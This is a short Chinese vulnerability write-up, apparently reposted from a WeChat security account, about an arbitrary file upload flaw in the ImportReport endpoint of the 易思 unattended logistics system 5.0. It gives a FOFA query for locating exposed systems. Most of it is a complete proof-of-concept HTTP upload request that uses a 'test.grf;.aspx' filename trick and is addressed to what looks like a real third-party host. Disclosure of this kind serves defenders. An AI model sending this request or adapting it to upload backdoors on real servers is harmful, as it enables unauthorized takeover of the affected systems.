0x01 漏洞概述
易思无人值守智能物流系统/Sys_ReportFile/ImportReport接口处存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。
0x02 影响范围
易思智能物流无人值守系统5.0
0x03 复现环境
FOFA："智能物流无人值守系统"
0x04 漏洞复现
PoC
POST/Sys_ReportFile/ImportReport?encode=aHTTP/1.1Host: tgys.tslyjt.com:8001X-File-Name: test.grfUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryxzUhGld6cusN3AlkAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 209------WebKitFormBoundaryxzUhGld6cusN3AlkContent-Disposition: form-data; name="file"; .filename="test.grf;.aspx"Content-Type: application/octet-streamqax-test------WebKitFormBoundaryxzUhGld6cusN3Alk--
原文始发于微信公众号（悟空安全）：易思智能物流无人值守系统文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论